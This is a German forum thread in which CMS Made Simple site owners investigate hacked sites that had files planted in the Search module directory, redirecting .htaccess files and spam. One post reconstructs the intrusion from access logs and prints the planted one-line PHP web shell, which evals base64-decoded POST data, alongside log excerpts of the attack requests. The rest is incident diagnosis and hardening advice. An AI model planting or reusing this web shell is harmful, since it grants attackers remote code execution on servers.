Dein Exkurs zum News-Modul habe ich nicht ganz verstanden [...]

Da gibt es auch nicht viel zu verstehen.
Durch diese Lücke hätte man sich z.B. selbst einen Admin-Zugang fürs Backend erstellen können.
Den Rest kann man sich ja dann selber ausmalen.

Die Sache mit den unbekannten POST-Daten wurmt mich etwas (hatte ganz vergessen, dass Apache von Haus aus ja keine Post Daten loggt - zu Testzwecken wäre vielleicht mod_dumpio ganz interessant, aber auf längere Zeit eher eine Zumutung). Wenn man wüsste was genau da drin stand, dann hätte man zumindest mal einen konkreten Ansatz.

Hallo Peter,

willkommen im Forum und danke für Deine Analyse.

Bitte - gerne! - Ich hoffe noch etwas Zeit zu finden für weitere Details

Nein - die POST Daten waren sicher nicht leer. Mit "POST Daten nicht bekannt" meine ich, dass ich einfach nicht weiss, was im POST Body drin war. Da müssen mit Bestimmtheit irgendwelche Daten drin gewesen sein - sonst geht's nicht. Aber im Log sind die ja nicht ersichtlich. Das mit dem Parameter 'trololo' kann ich auf die Schnelle auch nirgends zuweisen, aber irgend eine Bewandtnis muss das noch haben.

Peter

Ich vermute, dass der Angriff schon viel früher begonnen hat. [...]

Glaube ich nicht. CMSMS ist (mMn) viel zu klein, als dass da jemand langfristige Konzepte am Laufen hätte.

Dein Exkurs zum News-Modul habe ich nicht ganz verstanden (wobei es erklären könnte, warum ich auf keiner meiner (teilweise kamikazemässig alten) Installationen das Problem (bisher) habe, da ich das Modul nie nutz(t)e), ausser allein als Spekulation, wie Dein Fazit meint.
Das ist mir leider ein wenig zu dünn.

Was mich zur Wahrheitsfindung noch interessieren würde bei den Betroffenen: welche Rechte hat der Ordner MODULES bisher gehabt?

willkommen im Forum und danke für Deine Analyse.

Erneuter POST - diesmal auf index.php - POST Daten nicht bekannt.

Das ist merkwürdig. POST Daten nicht bekannt, heißt nach meinem Verständins 'keine Daten mitgesendet'. Denn das anschließende "trololo=825" dürfte eigentlich überhaupt keinen Einfluss haben. Es müsste ganz normal die Startseite anzeigen. Wenn aber kurz darauf die index.php im cache Verzeichnis erstellt wurde, dann heißt das, dass irgendwo im CMS ein Script eingeschleust wurde, welches auf die Variable 'trololo' hört und dann die index.php im cache Verzeichnis erstellt. Ich kann mir aber nicht vorstellen, dass das durch leere POST Daten geschehen ist.

Eine Sicherheitslücke in der index.php bzw. in der Verarbeitung der POST Daten in der index.php ist meiner Meinung nach nicht das Problem. Auch nicht unbedingt in der Cache-Verwaltung. Direkter Zugriff auf php Dateien im tmp Verzeichnis sollte eigentlich - laut Sicherheitstipps - bereits mit einer .htaccess Datei verboten werden. Dann wäre zumindest das, was Peter beschreibt, nicht passiert.

Ich vermute, dass der Angriff schon viel früher begonnen hat. Dass erst kürzlich eine Sicherheitslücke in CMSms geschlossen wurde, habt ihr aber mitbekommen, oder? Diese Sicherheitslücke gab es leider schon sehr lange und zieht sich durch sämtliche CMSms Versionen. Dazu wurden die Versionen 1.6.10 und 1.9.4.2 veröffentlicht. D.h. alle anderen Versionen haben eine Schwachstelle im NewsModul, die sog. SQL Injektionen ermöglicht. Somit kann sich der Angreifer z.B. Zugang zum CMS verschaffen und eigentlich so ziemlich alles machen was er will. Ich vermute, dass über diese Lücke entsprechende Vorbereitungen getroffen wurden, für den Fall, dass diese Lücke geschlossen wird. Denn es ist merkwürdig, dass diese Probleme erst jetzt auftreten NACHDEM die Lücke eben geschlossen wurde. Als ob da jemand regelrecht darauf gewartet hätte. Denn das Sicherheitsupdate ändert lediglich ein paar Dateien im NewsModul. D.h. etwaige Veränderungen anderer Dateien durch den Angreifer bleiben davon unberührt.

Ich hatte schonmal an anderer Stelle erwähnt, dass man bei Sicherheitsupdates immer prüfen sollte, ob die Lücke nicht bereits ausgenutzt wurde. Ich weiß, das ist schwierig, aber ich hoffe, ihr versteht was ich damit sagen will. Ein Sicherheitsupdate bedeutet leider nicht, dass jetzt alles Paletti ist. Denn bis zum Update hatte der Angreifer genügend Zeit, entsprechende Mechanismen vorzubereiten.

(ist im Übrigen alles nur Spekulation, aber anders kann ich es mir momentan nicht erklären)

Interessanterweise sind alle Probleme hier wie auch via Google ausschliesslich in CMSMS und da ausschliesslich immer im Ordner Search. Eine Hoster-schwachstelle kann man somit (imho) ausschliessen.

cmsms Version 1.8.1
Wie ich bisher rekonstruieren konnte, lief das ganze in mehreren Stufen ab:

Ich habe die log Zeilen etwas gekürzt, damit's etwas lesbarer:
"POST hxxp://www.xx.xx/tmp/cache/index.php HTTP/1.1" 404 188 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"
Da wird ein POST abgesetzt auf eine Datei die's so nicht gibt. -> 404

Erneuter POST - diesmal auf index.php - POST Daten nicht bekannt.
"POST hxxp://www.xx.xx/index.php HTTP/1.1" 200 6045 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

.. und noch ein POST mit einem merkwürdigen Parameter 'trololo' den ich sonst nirgends gefunden habe.
"POST hxxp://www.xx.xx/index.php?trololo=825 HTTP/1.1" 200 6843 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

Mit dem letzten POST muss dann index.php im cache Directory erzeugt worden sein,
denn der nächste POST liefert darauf offenbar ein 200 OK zurück.

"POST hxxp://www.xx.xx/tmp/cache/index.php HTTP/1.1" 200 65 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

Die Datei index.php im cache Directory ist der Bootstrap. Der Inhalt ist simpel:

<?php eval(base64_decode($_POST["ev"])); ?>

Über diesen Mechanismus ist dann etwas später das File action.do_readtemplate.php im Search Directory erstellt worden.
"POST hxxp://www.xx.xx/tmp/cache/index.php HTTP/1.1" 200 65 "-" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"

Alle Zeitstempel der jeweiligen POSTs und Files stimmen jeweils exakt überein. D.h. die POST können dem Erzeugen der Files zugeordnet werden.

Damit ist die Sache erledigt. Alle weiteren Zugriffe etc. erfolgen dann über action.do_readtemplate.php. Mit dem Remote Pannel lässt sich dann alles anstellen .. also auch alle Seiten raufladen, Dateien runterladen - back connects einrichten etc.

Ich kenne die Eingeweide von cmsms zuwenig - um genau Nachzuvollziehen wie die Files erstellt wurden. Werde bei Gelegenheit noch etwas Zeit aufwerfen dafür. Ev. weiss ein Entwickler etwas mehr.

Gruss
Peter

Die Versionen bei denen diese Zugriffe erfolgten (insgesamt 3 verschiedene Installationen) waren allesamt älterer Natur. 1.7 - 1.8

Gehostet werden diese bei alfahosting.de

Die Sicherheitstipps wurden im Vorfeld nicht gänzlich befolgt. (htaccess-Berechtigungen hab ich vernachlässigt). Auch tunnelte ich nicht via SSH-Login, habe da die Gefahren vernachlässigt.

Inzwischen sind die Systeme auf die neueste Version geupdatet und mit htaccess-Sperren belegt.

Bedarf es noch weiterer Infos?

Danke für die schnelle Hilfe...

MatthiasN

.htaccess Dateien kann man bei "korrekter" Konfiguration des Servers nicht via PHP Script bearbeiten oder erstellen. Jedenfalls sollte ein Server meiner Meinung nach so eingestellt sein, dass Apache keine Schreibberechtigungen für Konfigurationsdateien hat. Das ist meines Wissens sogar die Standardkonfiguration.

Ich vermisse immer noch die Accesslogs, aus denen hervorgeht, wie die Daten auf den Server gelangt sind.
Der Zugriff auf Dateien im Verzeichnis "modules/Search/" die da nicht hingehören, ist noch kein Beweis für eine Sicherheitslücke im Suchmodul. Das bedeutet lediglich, dass jemand in diesem Verzeichnis bestimmte Dateien abgelegt hat. Auf welchem Wege ist leider immer noch unklar.

Es wurde eine manipulierte .htaccess Datei hochgeladen die auf russische server umleitet. Anschliessend wurden wohl  spam mails verschickt die eine URL enthielten die auf http://meinewebseite.de/modules/Search/News.html verwiesen. Dabei wurde dann über die .htacess umgeleitet

Ich habe alle passwörter geändert und die Search module auf allen webseiten gelöscht, da dieser Angriff am nächsten tag gleich wieder erfolgte...

Ich würde die Dateien übrigens löschen und die Berechtigungen für das Modulverzeichnis und Unterverzeichnisse auf CHMOD 755 setzen.

Und auch an Dich die Fragen:
Welche CMS Version?
Hattest Du die Sicherheitstipps umgesetzt?
Welcher Provider?

Die Access-Logs geben leider auch bei Dir keinen Aufschluss darüber, wie die Dateien auf den Server gelangt sind.
Das Searchmodul scheint mir momentan nur der Dumme, der den Mist ausbaden darf. Schau auch mal in die System-Logs des CMS (im Backend unter "Administration"). Eventuell hat sich ja jemand Zugriff zum Backend verschafft (durch ein zu einfaches Passwort z.B.) und über den FileManager Dateien hochgeladen. Das müsste dann dort zu finden sein.

Ansonsten musst Du mal die FTP Logs oder die SSH Logs prüfen, wann sich wer eingeloggt hat. Eventuell ist der Angreifer auch darüber reingekommen.

Läuft auf dem Server noch andere Software?
Eventuell ist die Sicherheitslücke auch dort zu finden.

In jedem Fall würde ich jetzt erstmal sämtliche Passwörter ändern.

Auch bei mir gab es ein derartiges Problem. Über das Search-Modul meiner Seite hat sich schädlicher Code in den Order modules/Search/ eingenistet, der dann Spam auf über meine Seite versendet hat. Mittlerweile habe ich die Verzeichnisse mittels htaccess weitestgehend vor Zugriffen geschützt.

Dennoch zeigt mir das Serverlog noch folgende Einträge an:

- - [05/Jul/2011:00:55:40 +0200] "POST /modules/Search/lang/laboratory/softly.php HTTP/1.0" 403 243 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:00:56:11 +0200] "POST /modules/Search/lang/hate/border.php HTTP/1.0" 403 237 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:00:58:38 +0200] "GET /ferienwohnungen/ferienzimmer-stadt.html HTTP/1.1" 200 12790 "http://www.meine-domain.de/kontakt-feri … nsion.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:00:59:32 +0200] "GET /robots.txt HTTP/1.0" 403 212 "-" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" www.meine-domain.de
- - [05/Jul/2011:00:59:29 +0200] "POST /modules/Search/lang/laboratory/softly.php HTTP/1.0" 403 243 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:01:00:43 +0200] "POST /modules/Search/lang/hate/border.php HTTP/1.0" 403 237 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:01:01:43 +0200] "GET /kontakt-ferienwohnung-stadt-pension.html HTTP/1.1" 200 12846 "http://www.meine-domain.de/ferienwohnun … stadt.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:01:02:40 +0200] "GET /ferienwohnungen/ferienzimmer-stadt.html HTTP/1.1" 200 12790 "http://www.meine-domain.de/kontakt-feri … nsion.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:01:04:03 +0200] "POST /modules/Search/lang/laboratory/softly.php HTTP/1.0" 403 243 "-" "Mozilla/5.0" www.meine-domain.de
- - [05/Jul/2011:01:04:26 +0200] "GET / HTTP/1.1" 200 13136 "http://www.meine-domain.de/ferienwohnun … stadt.html" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" www.meine-domain.de
- - [05/Jul/2011:01:04:47 +0200] "POST /modules/Search/lang/hate/border.php HTTP/1.0" 403 237 "-" "Mozilla/5.0" www.meine-domain.de

Auf dem Server selbst kann ich, dank dem htaccess-File,  keine solchen Dateien finden, die hier als POST aufgeführt werden.

Wie kann ich solche POST-Zugriffe zukünftig verhindern?

Davon mal abgesehen, wenn man auf den Modul Manager verzichtet und das Modulverzeichnis samt Unterverzeichnissen nicht beschreibbar ist, dann hätte dieser Angriff nie stattfinden können.

Wenn da nicht die seltsame Angewohnheit mancher Programmierer wäre, nur und ausschließlich XML-Dateien zu veröffentlichen, siehe

http://dev.cmsmadesimple.org/project/files/996

Ich werde auf jedenfall weiter versuchen herauszufinden wie diese Dateien Ursprünglich dort gelandet sind und werde es auch hier mit teilen, wenn ich etwas entsprechendes finde.

Ich habe mittlerweile schon weitere Sicherungen nach einem Artikel eingefügt und den Modul Manager gelöscht und deaktiviert.

Ich schaue einmal weiter was ich so finde, es wundert mich halt nur das es sich nur auf das Verzeichnis beschränkt.

Bisher habe ich noch folgende Zeilen entdeckt:

[13/Jun/2011:10:41:30 +0200] "GET http://www.xxxxxxx.de/modules/Search/ac … rzoueenlfy HTTP/1.1" 200 22820 "http://www.xxxxxxx.de/modules/Search/ac … mplate.php" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"
[13/Jun/2011:10:41:30 +0200] "POST http://www.xxxxxxx.de/modules/Search/ac … zoueenlfy& HTTP/1.1" 200 909 "http://www.xxxxxxx.de/modules/Search/ac … mplate.php" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"
[13/Jun/2011:10:47:55 +0200] "GET http://www.xxxxxxx.de/modules/Search/ac … qdhowmistl HTTP/1.1" 200 22750 "http://www.xxxxxxx.de/modules/Search/ac … mplate.php" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"
[13/Jun/2011:10:47:55 +0200] "POST http://www.xxxxxxx.de/modules/Search/ac … dhowmistl& HTTP/1.1" 200 909 "http://www.xxxxxxx.de/modules/Search/ac … mplate.php" "Mozilla/5.0 ( Windows; U; Windows 2003; MSNIA )"